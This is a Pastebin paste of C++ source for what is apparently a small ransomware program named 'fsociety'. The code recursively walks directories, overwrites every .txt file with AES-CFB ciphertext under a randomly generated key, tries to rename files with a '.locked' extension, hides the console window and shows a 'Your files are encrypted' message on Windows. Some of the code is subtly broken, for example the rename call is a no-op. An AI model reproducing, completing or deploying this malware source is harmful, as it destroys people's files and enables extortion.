Advertisement
FlyFar

source/fsociety.cpp

Sep 2nd, 2023
920
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 4.89 KB | Cybersecurity | 0 0
  1. #include <iostream>
  2. #include <stdlib.h>
  3. #include <cstring>
  4. #include <fstream>
  5.  
  6. #include "cryptopp/osrng.h"
  7. #include "cryptopp/modes.h"
  8. #include "cryptopp/aes.h"
  9. #include "cryptopp/filters.h"
  10. #include "fsociety.h"
  11.  
  12. using namespace CryptoPP;
  13. using namespace std;
  14.  
  15.  
  16.  
  17. string fsociety::number_to_string(int x){
  18.     if(!x) return "0";
  19.         string s,s2;
  20.         while(x){
  21.             s.push_back(x%10 + '0');
  22.             x/=10;
  23.         }
  24.     reverse(s.begin(),s.end());
  25.     return s;
  26. }
  27.  
  28. int fsociety::listfiledirectory(char *directory){
  29.     DIR *dir;
  30.     struct dirent *entry;
  31.     if((dir = opendir(directory)) != NULL){
  32.     while((entry = readdir(dir)) != NULL){
  33.         if(strcmp(entry->d_name, "..") != 0 && strcmp(entry->d_name,".") != 0)
  34.         {
  35.         // concat three char*
  36.         size_t len_folder = strlen(directory);
  37.         size_t len_name = strlen(entry->d_name);
  38.         size_t len_slash = strlen(this->slash);
  39.         char *concat = (char *) malloc(len_folder + len_slash + len_name +1);
  40.         memcpy(concat, directory, len_folder);
  41.         memcpy(concat + len_folder, this->slash, len_slash);
  42.         memcpy(concat + len_folder + len_slash,entry->d_name, len_name);
  43.         concat[len_folder + len_slash + len_name] = '\0';
  44.         //
  45.         if(is_directory(concat) == 1)
  46.         {
  47.             this->listfiledirectory(concat);       
  48.         }
  49.         else
  50.         {
  51.             //cout << entry->d_name << endl;
  52.             this->open_file(concat);
  53.         }
  54.         }
  55.     }
  56.     closedir(dir);
  57.     }
  58.     //std::cout << "start : " << this->nb_file << std::endl;
  59.     return 0;
  60. }
  61.  
  62. int fsociety::is_directory(char *path)
  63. {
  64.     DIR *dir;
  65.     if((dir = opendir(path)) != NULL)
  66.     {
  67.     closedir(dir);
  68.     return 1;
  69.     }
  70.     return 0;
  71. }
  72.  
  73. int fsociety::lock_file(char *path){
  74.     char *locked_ext = ".locked";
  75.     size_t len_path = strlen(path);
  76.     size_t len_locked = strlen(locked_ext);
  77.     char *new_name = (char *) malloc(len_path + len_locked + 1);
  78.     memcpy(new_name, path, len_path);
  79.     memcpy(new_name + len_path, locked_ext, len_locked);
  80.     new_name[len_path + len_locked + 1] = '\0';
  81.     rename(path, path);
  82.     this->nb_file++;
  83.     //cout << "renamed !" << endl;
  84.     return 0;
  85. }
  86.  
  87. byte* fsociety::generate_key(void){
  88.    
  89.     AutoSeededRandomPool rnd;
  90.     byte* key = new byte[AES::DEFAULT_KEYLENGTH+1];
  91.     rnd.GenerateBlock(key, AES::DEFAULT_KEYLENGTH);
  92.     key[AES::DEFAULT_KEYLENGTH] = '\0';
  93.     return key;
  94. }
  95.  
  96. byte* fsociety::generate_iv(void){
  97.     AutoSeededRandomPool rnd;
  98.     byte* iv = new byte[AES::BLOCKSIZE+1];
  99.     rnd.GenerateBlock(iv, AES::BLOCKSIZE);
  100.     iv[AES::BLOCKSIZE] = '\0';
  101.     return iv;
  102. }
  103.  
  104. byte* fsociety::encrypt(byte* iv, byte* key, int keyLength, byte* data, int dataLength)
  105. {
  106.     byte* out = new byte[dataLength];
  107.     CFB_Mode<AES>::Encryption cfbEncryption(key, keyLength, iv);
  108.     cfbEncryption.ProcessData(out, data, dataLength);
  109.     return out;
  110. }
  111.  
  112. byte* fsociety::decrypt(byte* iv, byte* key, int keyLength, byte* cipher, int cipherLength)
  113. {
  114.     byte* plain = new byte[cipherLength];
  115.     CFB_Mode<AES>::Decryption cfbDecryption(key, keyLength, iv);
  116.     cfbDecryption.ProcessData(plain, cipher, cipherLength);
  117.     return plain;
  118. }
  119.  
  120. byte* fsociety::fucksociety(char *input){
  121.     byte* iv = this->generate_iv();
  122.     byte* key = this->generate_key();
  123.     this->secret_key = key;
  124.     this->secret_iv = iv;
  125.     int len = strlen(input);
  126.        
  127.     byte* init = reinterpret_cast<byte*>(input);
  128.     byte* cipher = this->encrypt(iv, key, AES::DEFAULT_KEYLENGTH, init,len);
  129.     byte* plain = this->decrypt(iv, key, AES::DEFAULT_KEYLENGTH, cipher, len);
  130.  
  131.     return cipher;
  132. }
  133.  
  134. int fsociety::encrypt_file(char *path, const char *content){
  135.    
  136.     byte* encrypt = this->fucksociety((char*)content);
  137.     //cout << "encrypt : " << encrypt << endl;
  138.     ofstream fichier(path, ios::out | ios::trunc);
  139.     if(fichier){
  140.     fichier << encrypt;
  141.     //cout << "encrypted" << endl;
  142.     fichier.close();
  143.     }
  144.     this->lock_file(path);
  145.     return 0;
  146. }
  147.  
  148. int fsociety::open_file(char *path){
  149.     char *content_char;
  150.     string content;
  151.     string final_content;
  152.     ifstream fichier(path, ios::in);
  153.     if(fichier){
  154.     while(getline(fichier, content))
  155.     {
  156.         //cout << content << endl;
  157.         final_content = final_content + content;
  158.     }
  159.     //size_t len_content = strlen(content);
  160.     //memcpy(content_modified, content, len_content);
  161.     content_char = (char*)final_content.c_str();
  162.     if(strstr(path, ".txt") != NULL){
  163.         if(strstr(path,".locked") == NULL){
  164.         this->encrypt_file(path, content_char);
  165.         }
  166.     }
  167.     fichier.close();
  168.     return 0;
  169.     }
  170.     return 1;
  171. }
  172.  
  173. byte* fsociety::get_secret_key(void){
  174.     return this->secret_key;
  175. }
  176.  
  177. byte* fsociety::get_secret_iv(void){
  178.     return this->secret_iv;
  179. }
  180.  
  181. #if defined(WIN32)
  182. int fsociety::show_democracy(void){
  183.     MessageBox(0, "Your files are encrypted", "#OPdailyallowance", 0);
  184. }
  185.  
  186. int fsociety::hide_console(void){
  187.     HWND hWnd = GetConsoleWindow();
  188.     ShowWindow(hWnd, SW_HIDE);
  189. }
  190. #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement